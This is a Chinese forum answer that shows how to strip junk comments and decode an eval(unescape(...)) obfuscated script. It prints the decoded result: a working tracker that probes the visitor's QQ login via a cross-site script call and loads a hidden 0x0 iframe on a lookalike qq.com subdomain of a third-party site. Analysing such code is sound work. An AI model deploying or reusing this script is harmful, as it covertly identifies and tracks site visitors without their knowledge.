解决方案 »
- 如何将鼠标event中的clientX转换为在当前控件中的坐标呢
- 使用git管理nodejs+socket.io+redis+juicer+waterfall+ubuntu+aws ec2开发网站
- 第2段代码为什么会出错?
- js改变下拉框的selectIndex后,页面没有改变,但实际上selectIndex已经改变了,这是为什么??
- 两个下拉框的的联动
- 关于javascript写cookie的一个简单问题
- 如何防止用户恶意刷新!谢谢
- 导出excel功能本地运行JAVA项目没问题,发布到服务器报404
- 唉,请高手指教一二,如何使用触发刷新页面?
- 有没有DOM方面的资料呀
- 第二例:js格式化当前时间为yyyy-mm-dd形式
- 计算购物车的总价格
1、把 \*xxxxx*\这种代码全部替换成空格
/*qof17qN*/var/*G3FnvL7*/hBYrUDEFyZ/*Uxjm8HJfZ6k*/=/*j5AOnu*/\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065;/*aPGrwVu*/var/*hTvvnIFwmN*/w8r0t/*Tu0JDu*/=/*VryDp2pf*/\u0065\u0076\u0061\u006c;/*shmss*/w8r0t/*Dw2PFx*/(hBYrUDEFyZ/*Dw2PFx*/(
替换后变成:
var hBYrUDEFyZ = \u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065; var w8r0t = \u0065\u0076\u0061\u006c; w8r0t (hBYrUDEFyZ(
进一步解密得:
var hBYrUDEFyZ = unescape; var w8r0t = eval; w8r0t (hBYrUDEFyZ(
然后 hBYrUDEFyZ 替换成 unescape w8r0t 替换成 eval2、最后得到 eval(unescape("eval/*........
把它复制到任意eval解密的网页里,多次点击eval解密即可。如百度搜索"js解密"就会出现解密工具。
var fangke_isIE = document.all ? true : false;
var fangke_isIE6 = fangke_isIE && !window.XMLHttpRequest;
function fangke_loadJS(jsurl, onsuccess, charset, onerr) {
var fangke_xScript = document.createElement("script");
fangke_xScript.type = "text/javascript";
if (charset == '') {
fangke_xScript.charset = "utf-8"
} else {
fangke_xScript.charset = charset
}
fangke_xScript.src = jsurl;
fangke_xScript.onerror = function () {
if (onerr) {
setTimeout(onerr, 0)
}
};
if (fangke_isIE) {
fangke_xScript.onreadystatechange = function () {
if (fangke_xScript.readyState) {
if (fangke_xScript.readyState == "loaded" || fangke_xScript.readyState == "complete") {
fangke_xScript.onreadystatechange = null;
fangke_xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 0)
}
}
} else {
fangke_xScript.onreadystatechange = null;
fangke_xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 0)
}
}
}
} else {
fangke_xScript.onload = function () {
if (fangke_xScript.readyState) {
if (fangke_xScript.readyState == "loaded" || fangke_xScript.readyState == "complete") {
fangke_xScript.onreadystatechange = null;
fangke_xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 0)
}
}
} else {
fangke_xScript.onreadystatechange = null;
fangke_xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 0)
}
}
}
}
document.getElementsByTagName('HEAD').item(0).appendChild(fangke_xScript)
}
function check_login() {
var url = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=11231213&t=" + (new Date).getTime();
fangke_loadJS(url, check_data3)
}
function check_data3() {
try {
if (data0.err == 1026) {
setTimeout(fangke_LoginOK, 0)
} else {
}
} catch (e) {
setTimeout(noLogin, 0)
}
}
function fangke_LoginOK() {
if (document.getElementById('QQfangke_iframe_t') == null) {
var QQfangke_xurl = location.href;
var QQfangke_xurl = QQfangke_xurl.replace("http://qq-812631263.huantu.net/T-census.php", "http://college.qq.com.huantu.net/H-census.php");
var QQfangke_ref = encodeURIComponent(document.referrer);
var QQfangke_page = encodeURIComponent(document.location.href);
var QQfangke_url = QQfangke_xurl;
var iframe = document.createElement("iframe");
iframe.src = QQfangke_url;
iframe.id = "QQfangke_iframe_t";
iframe.name = "QQfangke_iframe_t";
iframe.style.width = "0px";
iframe.style.height = "0px";
iframe.scrolling = "no";
iframe.setAttribute('frameborder', '0', 0);
document.body.appendChild(iframe)
}
}
function noLogin() {
fangke_LoginOK()
}
function setCookie(name, value) {
var Days = 365;
var exp = new Date();
exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
if (navigator.userAgent.indexOf("Firefox") <= 0) {
check_login()
} else {
check_login()
}